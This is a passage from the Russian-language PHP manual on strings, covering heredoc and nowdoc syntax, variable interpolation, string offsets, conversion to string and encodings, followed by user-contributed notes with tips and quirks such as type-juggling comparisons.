Если это правило нарушено и закрывающий идентификатор не является «чистым», считается, что закрывающий идентификатор отсутствует, и PHP продолжит его поиск дальше. Если в этом случае верный закрывающий идентификатор так и не будет найден, то это вызовет ошибку парсинга с номером строки в конце скрипта.

Пример #6 Пример неправильного синтаксиса, до PHP 7.3.0

<?php
class foo {
public $bar = <<<EOT
bar
 EOT;
// отступ перед закрывающим идентификатором недопустим
}
?>

Пример #7 Пример правильного синтаксиса, даже до PHP 7.3.0

<?php
class foo {
public $bar = <<<EOT
bar
EOT;
}
?>

Heredoc, содержащий переменные, не может использоваться для инициализации свойств класса.

Heredoc-текст ведёт себя так же, как и строка в двойных кавычках, при этом их не имея. Это означает, что нет необходимости экранировать кавычки в heredoc, но по-прежнему можно использовать вышеперечисленные управляющие последовательности. Переменные обрабатываются, но с применением сложных переменных внутри heredoc нужно быть также внимательным, как и при работе со строками.

Пример #8 Пример определения heredoc-строки

<?php
$str = <<<EOD
Пример строки,
охватывающей несколько строк,
с использованием heredoc-синтаксиса.
EOD;

/* Более сложный пример с переменными. */
class foo
{
var $foo;
var $bar;

function __construct()
{
$this->foo = 'Foo';
$this->bar = array('Bar1', 'Bar2', 'Bar3');
}
}

$foo = new foo();
$name = 'Имярек';

echo <<<EOT
Меня зовут "$name". Я печатаю $foo->foo.
Теперь я вывожу {$foo->bar[1]}.
Это должно вывести заглавную букву 'A': \x41
EOT;
?>

Результат выполнения данного примера:

Меня зовут "Имярек". Я печатаю Foo.
Теперь, я вывожу Bar2.
Это должно вывести заглавную букву 'A': A

Также возможно использовать heredoc-синтаксис для передачи данных через аргументы функции:

Пример #9 Пример применения heredoc в аргументах

<?php
var_dump(array(<<<EOD
foobar!
EOD
));
?>

Можно инициализировать статические переменные и свойства/константы класса с помощью синтаксиса heredoc:

Пример #10 Инциализации статических переменных при помощи heredoc

<?php
// Статические переменные
function foo()
{
static $bar = <<<LABEL
Здесь ничего нет...
LABEL;
}

// Константы/свойства класса
class foo
{
const BAR = <<<FOOBAR
Пример использования константы
FOOBAR;

public $baz = <<<FOOBAR
Пример использования поля
FOOBAR;
}
?>

Можно также окружать идентификатор heredoc двойными кавычками:

Пример #11 Двойные кавычки в heredoc

<?php
echo <<<"FOOBAR"
Привет, мир!
FOOBAR;
?>

Nowdoc

Nowdoc — это то же самое для строк в одинарных кавычках, что и heredoc для строк в двойных кавычках. Nowdoc похож на heredoc, но внутри него не осуществляется никаких подстановок. Эта конструкция идеальна для внедрения PHP-кода или других больших блоков текста без необходимости его экранирования. В этом он немного похож на SGML-конструкцию <![CDATA[ ]]> тем, что объявляет блок текста, не предназначенный для обработки.

Nowdoc указывается той же последовательностью <<<, что и в heredoc, но последующий за ней идентификатор заключается в одинарные кавычки, например, <<<'EOT'. Все условия, действующие для идентификаторов heredoc, также действительны и для nowdoc, особенно те, что относятся к закрывающему идентификатору.

Пример #12 Пример использования nowdoc

<?php
echo <<<'EOD'
Пример текста,
занимающего несколько строк,
с помощью синтаксиса nowdoc. Обратные слеши всегда обрабатываются буквально,
например, \\ и \'.
EOD;

Результат выполнения данного примера:

Пример текста,
занимающего несколько строк,
с помощью синтаксиса nowdoc. Обратные слеши всегда обрабатываются буквально,
например, \\ и \'.

Пример #13 Nowdoc с переменными в строках с двойными кавычками

<?php
/* Более сложный пример с переменными. */
class foo
{
public $foo;
public $bar;

function __construct()
{
$this->foo = 'Foo';
$this->bar = array('Bar1', 'Bar2', 'Bar3');
}
}

$foo = new foo();
$name = 'Имярек';

echo <<<'EOT'
Меня зовут "$name". Я печатаю $foo->foo.
Теперь я печатаю {$foo->bar[1]}.
Это не должно вывести заглавную 'A': \x41
EOT;
?>

Результат выполнения данного примера:

Меня зовут "$name". Я печатаю $foo->foo.
Теперь я печатаю {$foo->bar[1]}.
Это не должно вывести заглавную 'A': \x41

Пример #14 Пример использования статичных данных

<?php
class foo {
public $bar = <<<'EOT'
bar
EOT;
}
?>

Обработка переменных

Если строка указывается в двойных кавычках, либо синтаксисом heredoc, переменные внутри неё обрабатываются.

Существует два типа синтаксиса: простой и сложный. Простой синтаксис легче и удобнее. Он помогает в обработке переменной, значения массива (array) или свойства объекта (object) с минимумом усилий.

Сложный синтаксис может быть определён по фигурным скобкам, окружающим выражение.

Простой синтаксис

Если интерпретатор встречает знак доллара ($), он захватывает настолько много символов, насколько возможно, чтобы сформировать правильное имя переменной. Если вы хотите точно определить конец имени, заключайте имя переменной в фигурные скобки.

<?php
$juice = "apple";

echo "He drank some $juice juice.".PHP_EOL;

// Непредусмотрительно. «s» — корректный символ для имени переменной, поэтому в этом примере он относится к переменной $juces, но не $juice.
echo "He drank some juice made of $juices.";

// Необходимо явно указать границы переменной, заключив её в фигурные скобки.
echo "He drank some juice made of ${juice}s.";
?>

Результат выполнения данного примера:

He drank some apple juice.
He drank some juice made of .
He drank some juice made of apples.

Аналогично могут быть обработаны элемент массива (array) или свойство объекта (object). В индексах массива закрывающая квадратная скобка (]) обозначает конец определения индекса. Для свойств объекта применяются те же правила, что и для простых переменных.

Пример #15 Пример простого синтаксиса

<?php
$juices = array("apple", "orange", "koolaid1" => "purple");

echo "He drank some $juices[0] juice.".PHP_EOL;
echo "He drank some $juices[1] juice.".PHP_EOL;
echo "He drank some $juices[koolaid1] juice.".PHP_EOL;

class people {
public $john = "John Smith";
public $jane = "Jane Smith";
public $robert = "Robert Paulsen";

public $smith = "Smith";
}

$people = new people();

echo "$people->john drank some $juices[0] juice.".PHP_EOL;
echo "$people->john then said hello to $people->jane.".PHP_EOL;
echo "$people->john's wife greeted $people->robert.".PHP_EOL;
echo "$people->robert greeted the two $people->smiths."; // Не сработает
?>

Результат выполнения данного примера:

He drank some apple juice.
He drank some orange juice.
He drank some purple juice.
John Smith drank some apple juice.
John Smith then said hello to Jane Smith.
John Smith's wife greeted Robert Paulsen.
Robert Paulsen greeted the two .

В PHP 7.1.0 добавлена поддержка отрицательных числовых индексов.

Пример #16 Отрицательные числовые индексы

<?php
$string = 'string';
echo "Символ с индексом -2 равен $string[-2].", PHP_EOL;
$string[-3] = 'o';
echo "Изменение символа на позиции -3 на 'o' даёт следующую строку: $string.", PHP_EOL;
?>

Результат выполнения данного примера:

Символ с индексом -2 равен n.
Изменение символа на позиции -3 на 'o' даёт следующую строку: strong

Для чего-то более сложного лучше пользоваться сложным синтаксисом.

Сложный (фигурный) синтаксис

Он называется сложным не потому, что труден в понимании, а потому что позволяет использовать сложные выражения.

Любая скалярная переменная, элемент массива или отображаемое в строку свойство объекта могут быть представлены в строке этим синтаксисом. Выражение записывается так же, как и вне строки, а затем заключается в фигурные скобки: { и }. Поскольку знак { не может быть экранирован, этот синтаксис будет распознаваться только тогда, когда знак $ следует непосредственно за знаком {. Экранируйте знак доллара {\$, чтобы напечатать: {$. Несколько поясняющих примеров:

<?php
// Показываем все ошибки
error_reporting(E_ALL);

$great = 'здорово';

// Не работает, выводит: Это { здорово}
echo "Это { $great}";

// Работает, выводит: Это здорово
echo "Это {$great}";

// Работает
echo "Этот квадрат шириной {$square->width}00 сантиметров.";

// Работает, ключи, заключённые в кавычки, работают только с синтаксисом фигурных скобок
echo "Это работает: {$arr['key']}";

// Работает
echo "Это работает: {$arr[4][3]}";

// Это неверно по той же причине, что и $foo[bar] вне
// строки. Другими словами, это по-прежнему будет работать,
// но поскольку PHP сначала ищет константу foo, это вызовет
// ошибку уровня E_NOTICE (неопределённая константа).
echo "Это неправильно: {$arr[foo][3]}";

// Работает. При использовании многомерных массивов внутри
// строк всегда используйте фигурные скобки
echo "Это работает: {$arr['foo'][3]}";

// Работает.
echo "Это работает: " . $arr['foo'][3];

echo "Это тоже работает: {$obj->values[3]->name}";

echo "Это значение переменной по имени $name: {${$name}}";

echo "Это значение переменной по имени, которое возвращает функция getName(): {${getName()}}";

echo "Это значение переменной по имени, которое возвращает \$object->getName(): {${$object->getName()}}";

// Не работает, выводит: Это то, что возвращает getName(): {getName()}
echo "Это то, что возвращает getName(): {getName()}";

// Не работает, выводит: C:\folder\{fantastic}.txt
echo "C:\folder\{$great}.txt"

// Работает, выводит: C:\folder\fantastic.txt
echo "C:\\folder\\{$great}.txt"
?>

С помощью этого синтаксиса также возможен доступ к свойствам объекта внутри строк.

<?php
class foo {
var $bar = 'I am bar.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo "{$foo->$bar}\n";
echo "{$foo->{$baz[1]}}\n";
?>

Результат выполнения данного примера:

I am bar.
I am bar.

Замечание:

Значение внутри {$}, к которому будет выполняться доступ из функций, вызовов методов, статических переменных класса и констант класса, будет интерпретироваться как имя переменной в области, в которой определена строка. Синтаксис одинарных фигурных скобок ({}) не будет работать для доступа к значениям функций, методов, констант классов или статических переменных класса.

<?php
// Показываем все ошибки
error_reporting(E_ALL);

class beers {
const softdrink = 'rootbeer';
public static $ale = 'ipa';
}

$rootbeer = 'A & W';
$ipa = 'Alexander Keith\'s';

// Это работает, выводит: Я бы хотел A & W
echo "Я бы хотел {${beers::softdrink}}\n";

// Это тоже работает, выводит: Я бы хотел Alexander Keith's
echo "Я бы хотел {${beers::$ale}}\n";
?>

Доступ к символу в строке и его изменение

Символы в строках можно использовать и модифицировать, определив их смещение относительно начала строки, начиная с нуля, в квадратных скобках после строки, например, $str[42]. Для этой цели о строке думают, как о массиве символов. Если нужно получить или заменить более 1 символа, можно использовать функции substr() и substr_replace().

Замечание: Начиная с PHP 7.1.0, поддерживаются отрицательные значения смещения. Они задают смещение с конца строки. Ранее отрицательные смещение вызывали ошибку уровня E_NOTICE при чтении (возвращая пустую строку) либо E_WARNING при записи (оставляя строку без изменений).

Замечание: До PHP 8.0.0 для доступа к символу в строке (string) также можно было использовать фигурные скобки, например, $str{42}, для той же цели. Синтаксис фигурных скобок устарел в PHP 7.4.0 и больше не поддерживается в PHP 8.0.0.

Внимание

Попытка записи в смещение за границами строки дополнит строку пробелами до этого смещения. Нецелые типы будет преобразованы в целые. Неверный тип смещения вызовет ошибку уровня E_WARNING. Используется только первый символ присваемой строки. Начиная с PHP 7.1.0, присвоение пустой строки вызовет фатальную ошибку. Ранее в таком случае присваивался нулевой байт (NULL).

Внимание

Внутри PHP строки представленны массивами байтов. Как результат, доступ или изменение строки по смещению небезопасно с точки зрения многобайтной кодировки, и должно выполняться только со строками в однобайтных кодировках, таких как, например, ISO-8859-1.

Замечание: Начиная с PHP 7.1.0, применение оператора пустого индекса с пустой строкой вызывает фатальную ошибку. Ранее в подобном случае пустая строка преобразовывалась в массив без предупреждения.

Пример #17 Несколько примеров строк

<?php
// Получение первого символа строки
$str = 'This is a test.';
$first = $str[0];

// Получение третьего символа строки
$third = $str[2];

// Получение последнего символа строки
$str = 'This is still a test.';
$last = $str[strlen($str)-1];

// Изменение последнего символа строки
$str = 'Look at the sea';
$str[strlen($str)-1] = 'e';

?>

Смещение в строке должно задаваться либо целым числом, либо строкой, содержащей цифры, иначе будет выдаваться предупреждение.

Пример #18 Пример недопустимого смещения строки

<?php
$str = 'abc';

var_dump($str['1']);
var_dump(isset($str['1']));

var_dump($str['1.0']);
var_dump(isset($str['1.0']));

var_dump($str['x']);
var_dump(isset($str['x']));

var_dump($str['1x']);
var_dump(isset($str['1x']));
?>

Результат выполнения данного примера:

string(1) "b"
bool(true)

Warning: Illegal string offset '1.0' in /tmp/t.php on line 7
string(1) "b"
bool(false)

Warning: Illegal string offset 'x' in /tmp/t.php on line 9
string(1) "a"
bool(false)
string(1) "b"
bool(false)

Замечание:

Попытка доступа к переменным других типов (исключая массивы или объекты, реализующие определённые интерфейсы) с помощью [] или {} молча вернёт null.

Замечание:

Доступ к символам в строковых литералах можно получить с помощью синтаксиса [] или {}.

Замечание:

Доступ к символам в строковых литералах с использованием синтаксиса {} объявлен устаревшим в PHP 7.4. Функционал удалён в PHP 8.0.

Полезные функции и операторы

Строки можно объединять, применяя оператор '.' (точка). Обратите внимание, оператор сложения '+' здесь не работает. Подробнее рассказно в разделе «Строковые операторы».

Для модификации строк существует множество полезных функций.

Основные функции описаны в разделе строковых функций, а для расширенного поиска и замены — функции Perl-совместимых регулярных выражений.

Также существуют функции для работы с URL, и функции шифрования/дешифрования строк (Sodium и Hash).

Наконец, смотрите также функции символьных типов.

Преобразование в строку

Значение может быть преобразовано в строку приведением (string) либо функцией strval(). В выражениях, где необходима строка, преобразование происходит автоматически. Это происходит во время вывода через языковые конструкции echo или print, либо когда значение переменной сравнивается со строкой. Прочтение разделов руководства Типы и Манипуляции с типами сделает следующее более понятным. Смотрите также описание функции settype().

Значение bool true преобразуется в строку "1", а значение false преобразуется в "" (пустую строку). Это делает возможным преобразование значения в обе стороны — из булева типа в строковый и наоборот.

Целое число (int) или число с плавающей точкой (float) преобразуется в строку, представленную числом, состоящим из его цифр (включая показатель степени для чисел с плавающей точкой). Числа с плавающей точкой можно преобразовать путём экспоненциального представления (4.1E+6).

Замечание:

Начиная с PHP 8.0.0, символом десятичной точки всегда является точка ("."). До PHP 8.0.0 символ десятичной точки определялся в локали скрипта (категория LC_NUMERIC). Смотрите функцию setlocale()

Массивы всегда преобразуются в строку "Array". Поэтому конструкции echo или print не могут сами по себе отображать содержимое массива (array). Чтобы просмотреть отдельный элемент, используют синтаксис echo $arr['foo']. Ниже будет рассказано о том, как отобразить/просмотреть все содержимое.

Для преобразования переменной типа "Object" в тип string существует магический метод __toString.

Тип ресурс (resource) всегда преобразуется в строку (string) вида "Resource id #1", где 1 — это номер ресурса, который PHP назначает resource во время выполнения. И хотя она всегда будет уникальной для текущего запуска скрипта (т. е. веб-запроса или CLI-процесса) и не будет использована повторно для другого ресурса, не стоит точно полагаться на эту строку, потому что она может измениться в будущем. Тип ресурса можно получить вызовом функции get_resource_type().

Значение null всегда преобразуется в пустую строку.

Как сказано выше, прямое преобразование в строку массивов, объектов или ресурсов не даёт никакой полезной информации о самих значениях, кроме их типов. Более подходящий способ вывода значений для отладки — использовать функции print_r() и var_dump().

Бо?льшая часть значений в PHP может быть преобразована в строку для постоянного хранения. Этот метод преобразования называется сериализацией. Серилиазовать значения можно функцией serialize().

Подробности реализации строкового типа

Строковый тип (string) в PHP реализован в виде массива байтов и целого числа, содержащего длину буфера. Он не содержит никакой информации о способе преобразования этих байтов в символы, предоставляя эту задачу программисту. Нет никаких ограничений на содержимое строки, например, байт со значением 0 ("NUL"-байт) может располагаться где угодно (однако стоит учитывать, что некоторые функции, как сказано в этом руководстве, не являются "бинарно-безопасными", т. е. они могут передавать строки библиотекам, которые игнорируют данные после NUL-байта).

Данная природа строкового типа объясняет, почему в PHP нет отдельного типа "byte" — строки играют эту роль. Функции, возвращающие нетекстовые данные, — например, произвольный поток данных, считываемый из сетевого сокета, — тем не менее возвращают строки.

Принимая во внимание тот факт, что PHP не диктует определённую кодировку для строк, можно задать вопрос: Как в таком случае кодируются строковые литералы? Например, строка "a" эквивалентна "\xE1" (ISO-8859-1), "\xC3\xA1" (UTF-8, форма нормализации C), "\x61\xCC\x81" (UTF-8, форма нормализации D) или какому-либо другому возможному представлению? Ответом является следующее: строка будет закодирована тем образом, которым она записана в файле скрипта. Таким образом, если скрипт записан в кодировке ISO-8859-1, то и строка будет закодирована в ISO-8859-1 и т. д. Однако это правило не применяется при включённом режиме Zend Multibyte: в этом случае скрипт может быть записан в любой кодировке (которая указывается ясно или определяется автоматически), а затем конвертируются в определённую внутреннюю кодировку, которая и будет впоследствии использована для строковых литералов. Учтите, что на кодировку скрипта (или на внутреннюю кодировку, если включён режим Zend Multibyte) накладываются некоторые ограничения: практически всегда данная кодировка должна быть надмножеством ASCII, например, UTF-8 или ISO-8859-1. Учтите также, что кодировки, зависящие от состояния, где одни и те же значения байтов могут быть использованы в начальном и не начальном состоянии сдвига, могут вызвать проблемы.

Разумеется, чтобы приносить пользу, строковые функции должны сделать некоторые предположения о кодировке строки. К несчастью, среди PHP-функций довольно большое разнообразие подходов к этому вопросу:

  • Некоторые функции предполагают, что строка закодирована в какой-либо однобайтовой кодировке, однако, для корректной работы им не требуется интерпретировать байты как определённые символы. Под эту категорию попадают, например, функции substr(), strpos(), strlen() и strcmp(). Другой способ мышления об этих функциях — представлять, что они оперируют буферами памяти, т. е. работают непосредственно с байтами и их смещениями.
  • Другие функции ожидают передачу кодировки в виде параметра, возможно, предполагая некоторую кодировку по умолчанию, если параметр с кодировкой не был указан. Такой функцией является htmlentities() и большинство функций из модуля mbstring.
  • Другие функции используют текущие установки локали (смотрите setlocale()), но оперируют побайтово.
  • Наконец, есть функции, подразумевающие, что строка использует определённую кодировку, обычно UTF-8. Сюда попадают большинство функций из модулей intl и PCRE (в последнем случае, только при указании модификатора u).

В конечном счёте, написание корректных программ, работающих с Unicode, означает осторожное избегание функций, которые не работают с Unicode и, скорее всего, испортят данные, и использование вместо них корректных функций, обычно из модулей intl и mbstring. Однако использование функций, способных работать с Unicode, является самым началом. Вне зависимости от тех функций, которые предоставляет язык, необходимо знать спецификацию самого Unicode. Например, если программа предполагает существование в языке только строчных и заглавных букв, то она делает большую ошибку.

User Contributed Notes

BahmanMD 07-Jan-2023 11:34
In PHP 8.2 using ${var} in strings is deprecated, use {$var} instead:

<?php
$juice = "apple";

// Valid. Explicitly specify the end of the variable name by enclosing it in braces:
echo "He drank some juice made of {$juice}s.";
?>
greenbluemoonlight at gmail dot com 18-Aug-2020 03:05
<?php
\\Example # 10 Simple Syntax - Solution for the last "echo" line.

class people {
    public $john = "John Smith";
    public $jane = "Jane Smith";
    public $robert = "Robert Paulsen";

    public $smith = "Smith";
}

$people = new people();

echo "$people->john then said hello to $people->jane.".PHP_EOL;
echo "$people->john's wife greeted $people->robert.".PHP_EOL;
echo "$people->robert greeted the two $people->smiths";
\\Won't work
\\Outputs: Robert Paulsen greeted the two

/**Solution:**\

echo "$people->robert greeted the two $people->smith\x08s";

\\Will work
\\Outputs: Robert Paulsen greeted the two Smiths

?>
vseokdog at gmail dot com 04-Jun-2019 10:12
Don't forget about new E_WARNING and E_NOTICE errors from PHP 7.1.x: they have been introduced when invalid strings are coerced using operators expecting numbers (+ - * / ** % << >> | & ^) or their assignment equivalents. An E_NOTICE is emitted when the string begins with a numeric value but contains trailing non-numeric characters, and an E_WARNING is emitted when the string does not contain a numeric value.

Example:
$foo = 1 + "bob-1.3e3";
$foo = "10.2 pigs " + 1.0;
Will produce: Warning: A non-numeric value encountered

Read more: https://www.php.net/manual/en/migration71.other-changes.php
Ray.Paseur sometimes uses Gmail 01-Dec-2018 05:14
md5('240610708') == md5('QNKCDZO')

This comparison is true because both md5() hashes start '0e' so PHP type juggling understands these strings to be scientific notation.  By definition, zero raised to any power is zero.
Hayley Watson 31-Dec-2017 10:08
Any single expression, however complex, that starts with $ (i.e., a variable) can be {}-embedded in a double-quoted string:

<?php

echo "The expression {$h->q()["x}"]->p(9 == 0 ? 17 : 42)} gets parsed just as well as " . $h->q()["x}"]->p(9 == 0 ? 17 : 42) . " does.";

?>
jonijnm at example dot com 25-Sep-2017 11:26
Both should work :(

<?php

class Testing {
    public static $VAR = 'static';
    public const VAR = 'const';

    public function sayHelloStatic() {
        echo "hello: {$this::$VAR}";
    }

    public function sayHelloConst() {
        echo "hello: {$this::VAR}"; //Parse error:  syntax error, unexpected '}', expecting '['
    }
}

$obj = new Testing();
$obj->sayHelloStatic();
$obj->sayHelloConst();
mark at manngo dot net 05-Jan-2017 02:52
I though that it would be helpful to add this comment so that the information at least appears on the right page on the PHP site.

Note that if you intend to use a double-quoted string with an associative key, you may run into the T_ENCAPSED_AND_WHITESPACE error. Some regard this as one of the less obvious error messages.

An expression such as:

<?php
    $fruit=array(
        'a'=>'apple',
        'b'=>'banana',
        //    etc
    );

    print "This is a $fruit['a']";    //    T_ENCAPSED_AND_WHITESPACE
?>

will definitely fall to pieces.

You can resolve it as follows:

<?php
    print "This is a $fruit[a]";    //    unquote the key
    print "This is a ${fruit['a']}";    //    Complex Syntax
    print "This is a {$fruit['a']}";    //    Complex Syntax variation
?>

I have a personal preference for the last variation as it is more natural and closer to what the expression would be like outside the string.

It's not clear (to me, at least) why PHP misinterprets the single quote inside the expression but I imagine that it has something to do with the fact quotes are not part of the value string — once the string is already being parsed the quotes just get in the way ... ?
John 14-Nov-2016 03:05
I've been a PHP programmer for a decade, and I've always been using the "single-quoted literal" and "period-concatenation" method of string creation. But I wanted to answer the performance question once and for all, using sufficient numbers of iterations and a modern PHP version. For my test, I used:

php -v
PHP 7.0.12 (cli) (built: Oct 14 2016 09:56:59) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies

------ Results: -------

* 100 million iterations:

$outstr = 'literal' . $n . $data . $int . $data . $float . $n;
63608ms (34.7% slower)

$outstr = "literal$n$data$int$data$float$n";
47218ms (fastest)

$outstr =<<<EOS
literal$n$data$int$data$float$n
EOS;
47992ms (1.64% slower)

$outstr = sprintf('literal%s%s%d%s%f%s', $n, $data, $int, $data, $float, $n);
76629ms (62.3% slower)

$outstr = sprintf('literal%s%5$s%2$d%3$s%4$f%s', $n, $int, $data, $float, $data, $n);
96260ms (103.9% slower)

* 10 million iterations (test adapted to see which of the two fastest methods were faster at adding a newline; either the PHP_EOL literal, or the \n string expansion):

$outstr = 'literal' . $n . $data . $int . $data . $float . $n;
6228ms (reference for single-quoted without newline)

$outstr = "literal$n$data$int$data$float$n";
4653ms (reference for double-quoted without newline)

$outstr = 'literal' . $n . $data . $int . $data . $float . $n . PHP_EOL;
6630ms (35.3% slower than double-quoted with \n newline)

$outstr = "literal$n$data$int$data$float$n\n";
4899ms (fastest at newlines)

* 100 million iterations (a test intended to see which one of the two ${var} and {$var} double-quote styles is faster):

$outstr = 'literal' . $n . $data . $int . $data . $float . $n;
67048ms (38.2% slower)

$outstr = "literal$n$data$int$data$float$n";
49058ms (1.15% slower)

$outstr = "literal{$n}{$data}{$int}{$data}{$float}{$n}"
49221ms (1.49% slower)

$outstr = "literal${n}${data}${int}${data}${float}${n}"
48500ms (fastest; the differences are small but this held true across multiple runs of the test, and this was always the fastest variable encapsulation style)

* 1 BILLION iterations (testing a completely literal string with nothing to parse in it):

$outstr = 'literal string testing';
23852ms (fastest)

$outstr = "literal string testing";
24222ms (1.55% slower)

It blows my mind. The double-quoted strings "which look so $slow since they have to parse everything for \n backslashes and $dollar signs to do variable expansion", turned out to be the FASTEST string concatenation method in PHP - PERIOD!

Single-quotes are only faster if your string is completely literal (with nothing to parse in it and nothing to concatenate), but the margin is very tiny and doesn't matter.

So the "highest code performance" style rules are:

1. Always use double-quoted strings for concatenation.

2. Put your variables in "This is a {$variable} notation", because it's the fastest method which still allows complex expansions like "This {$var['foo']} is {$obj->awesome()}!". You cannot do that with the "${var}" style.

3. Feel free to use single-quoted strings for TOTALLY literal strings such as array keys/values, variable values, etc, since they are a TINY bit faster when you want literal non-parsed strings. But I had to do 1 billion iterations to find a 1.55% measurable difference. So the only real reason I'd consider using single-quoted strings for my literals is for code cleanliness, to make it super clear that the string is literal.

4. If you think another method such as sprintf() or 'this'.$var.'style' is more readable, and you don't care about maximizing performance, then feel free to use whatever concatenation method you prefer!
nospam at nospam dot com 15-Sep-2016 08:44
Beware that consistent with "String conversion to numbers":

<?php

if ('123abc' == 123) echo '(intstr == int) incorrectly tests as true.';

// Because one side is a number, the string is incorrectly converted from intstr to int, which then matches the test number.

// True for all conditionals such as if and switch statements (probably also while loops)!

// This could be a huge security risk when testing/using/saving user input, while expecting and testing for only an integer.

// It seems the only fix is for 123 to be a string as '123' so no conversion happens.

?>
garbage at iglou dot eu 24-May-2016 10:02
You can use string like array of char (like C)

$a = "String array test";

var_dump($a);
// Return string(17) "String array test"

var_dump($a[0]);
// Return string(1) "S"

// -- With array cast --
var_dump((array) $a);
// Return array(1) { [0]=> string(17) "String array test"}

var_dump((array) $a[0]);
// Return string(17) "S"

- Norihiori
sideshowAnthony at googlemail dot com 26-Feb-2016 06:32
Something I experienced which no doubt will help someone . . .
In my editor, this will syntax highlight HTML and the $comment:

$html = <<<"EOD"
<b>$comment</b>
EOD;

Using this shows all the same colour:

$html = <<<EOD
<b>$comment</b>
EOD;

making it a lot easier to work with
necrodust44 at gmail dot com 04-Mar-2014 01:52
String conversion to numbers.

Unfortunately, the documentation is not correct.

«The value is given by the initial portion of the string. If the string starts with valid numeric data, this will be the value used. Otherwise, the value will be 0 (zero).»

It is not said and is not shown in examples throughout the documentation that, while converting strings to numbers, leading space characters are ignored, like with the strtod function.

<?php
    echo "     \v\f    \r   1234" + 1;    // 1235
    var_export ("\v\f    \r   1234" == "1234");    // true
?>

However, PHP's behaviour differs even from the strtod's. The documentation says that if the string contains a "e" or "E" character, it will be parsed as a float, and suggests to see the manual for strtod for more information. The manual says

«A hexadecimal number consists of a "0x" or "0X" followed by a nonempty sequence of hexadecimal digits possibly containing a radix character, optionally followed by a binary exponent.  A binary exponent consists of a 'P' or 'p', followed by an optional plus or minus sign, followed by a nonempty sequence of decimal digits, and indicates multiplication by a power of 2.»

But it seems that PHP does not recognise the exponent or the radix character.

<?php
    echo "0xEp4" + 1;     // 15
?>

strtod also uses the current locale to choose the radix character, but PHP ignores the locale, and the radix character is always 2E. However, PHP uses the locale while converting numbers to strings.

With strtod, the current locale is also used to choose the space characters, I don't know about PHP.
php at richardneill dot org 28-Feb-2013 06:20
Leading zeroes in strings are (least-surprise) not treated as octal.
Consider:
  $x = "0123"  + 0;
  $y = 0123 + 0;
  echo "x is $x, y is $y";    //prints  "x is 123, y is 83"
in other words:
 * leading zeros in numeric literals in the source-code are interpreted as "octal", c.f. strtol().
 * leading zeros in strings (eg user-submitted data), when cast (implicitly or explicitly) to integer are ignored, and considered as decimal, c.f. strtod().
gtisza at gmail dot com 10-Jan-2012 06:32
The documentation does not mention, but a closing semicolon at the end of the heredoc is actually interpreted as a real semicolon, and as such, sometimes leads to syntax errors.

This works:

<?php
$foo = <<<END
abcd
END;
?>

This does not:

<?php
foo(<<<END
abcd
END;
);
// syntax error, unexpected ';'
?>

Without semicolon, it works fine:

<?php
foo(<<<END
abcd
END
);
?>
shd at earthling dot net 20-Oct-2009 02:54
If you want a parsed variable surrounded by curly braces, just double the curly braces:

<?php
  $foo = "bar";
  echo "{{$foo}}";
?>

will just show {bar}. The { is special only if followed by the $ sign and matches one }. In this case, that applies only to the inner braces. The outer ones are not escaped and pass through directly.
headden at karelia dot ru 20-Jun-2009 12:43
Here is an easy hack to allow double-quoted strings and heredocs to contain arbitrary expressions in curly braces syntax, including constants and other function calls:

<?php

// Hack declaration
function _expr($v) { return $v; }
$_expr = '_expr';

// Our playground
define('qwe', 'asd');
define('zxc', 5);

$a=3;
$b=4;

function c($a, $b) { return $a+$b; }

// Usage
echo "pre {$_expr(1+2)} post\n"; // outputs 'pre 3 post'
echo "pre {$_expr(qwe)} post\n"; // outputs 'pre asd post'
echo "pre {$_expr(c($a, $b)+zxc*2)} post\n"; // outputs 'pre 17 post'

// General syntax is {$_expr(...)}
?>
steve at mrclay dot org 30-Sep-2008 01:33
Simple function to create human-readably escaped double-quoted strings for use in source code or when debugging strings with newlines/tabs/etc.

<?php
function doubleQuote($str) {
    $ret = '"';
    for ($i = 0, $l = strlen($str); $i < $l; ++$i) {
        $o = ord($str[$i]);
        if ($o < 31 || $o > 126) {
            switch ($o) {
                case 9: $ret .= '\t'; break;
                case 10: $ret .= '\n'; break;
                case 11: $ret .= '\v'; break;
                case 12: $ret .= '\f'; break;
                case 13: $ret .= '\r'; break;
                default: $ret .= '\x' . str_pad(dechex($o), 2, '0', STR_PAD_LEFT);
            }
        } else {
            switch ($o) {
                case 36: $ret .= '\$'; break;
                case 34: $ret .= '\"'; break;
                case 92: $ret .= '\\\\'; break;
                default: $ret .= $str[$i];
            }
        }
    }
    return $ret . '"';
}
?>
chAlx at findme dot if dot u dot need 11-Sep-2008 08:42
To save Your mind don't read previous comments about dates  ;)

When both strings can be converted to the numerics (in ("$a" > "$b") test) then resulted numerics are used, else FULL strings are compared char-by-char:

<?php
var_dump('1.22' > '01.23'); // bool(false)
var_dump('1.22.00' > '01.23.00'); // bool(true)
var_dump('1-22-00' > '01-23-00'); // bool(true)
var_dump((float)'1.22.00' > (float)'01.23.00'); // bool(false)
?>
Richard Neill 31-May-2007 08:31
Unlike bash, we can't do
  echo "\a"       #beep!

Of course, that would be rather meaningless for PHP/web, but it's useful for PHP-CLI. The solution is simple:  echo "\x07"
og at gams dot at 25-Apr-2007 05:06
easy transparent solution for using constants in the heredoc format:
DEFINE('TEST','TEST STRING');

$const = get_defined_constants();

echo <<<END
{$const['TEST']}
END;

Result:
TEST STRING
bishop 28-Mar-2006 12:58
You may use heredoc syntax to comment out large blocks of code, as follows:
<?php
<<<_EOC
    // end-of-line comment will be masked... so will regular PHP:
    echo ($test == 'foo' ? 'bar' : 'baz');
    /* c-style comment will be masked, as will other heredocs (not using the same marker) */
    echo <<<EOHTML
This is text you'll never see!
EOHTML;
    function defintion($params) {
        echo 'foo';
    }
    class definition extends nothing     {
       function definition($param) {
          echo 'do nothing';
       }
    }

    how about syntax errors?; = gone, I bet.
_EOC;
?>

Useful for debugging when C-style just won't do.  Also useful if you wish to embed Perl-like Plain Old Documentation; extraction between POD markers is left as an exercise for the reader.

Note there is a performance penalty for this method, as PHP must still parse and variable substitute the string.
lelon at lelon dot net 27-Oct-2004 12:01
You can use the complex syntax to put the value of both object properties AND object methods inside a string.  For example...
<?php
class Test {
    public $one = 1;
    public function two() {
        return 2;
    }
}
$test = new Test();
echo "foo {$test->one} bar {$test->two()}";
?>
Will output "foo 1 bar 2".

However, you cannot do this for all values in your namespace.  Class constants and static properties/methods will not work because the complex syntax looks for the '$'.
<?php
class Test {
    const ONE = 1;
}
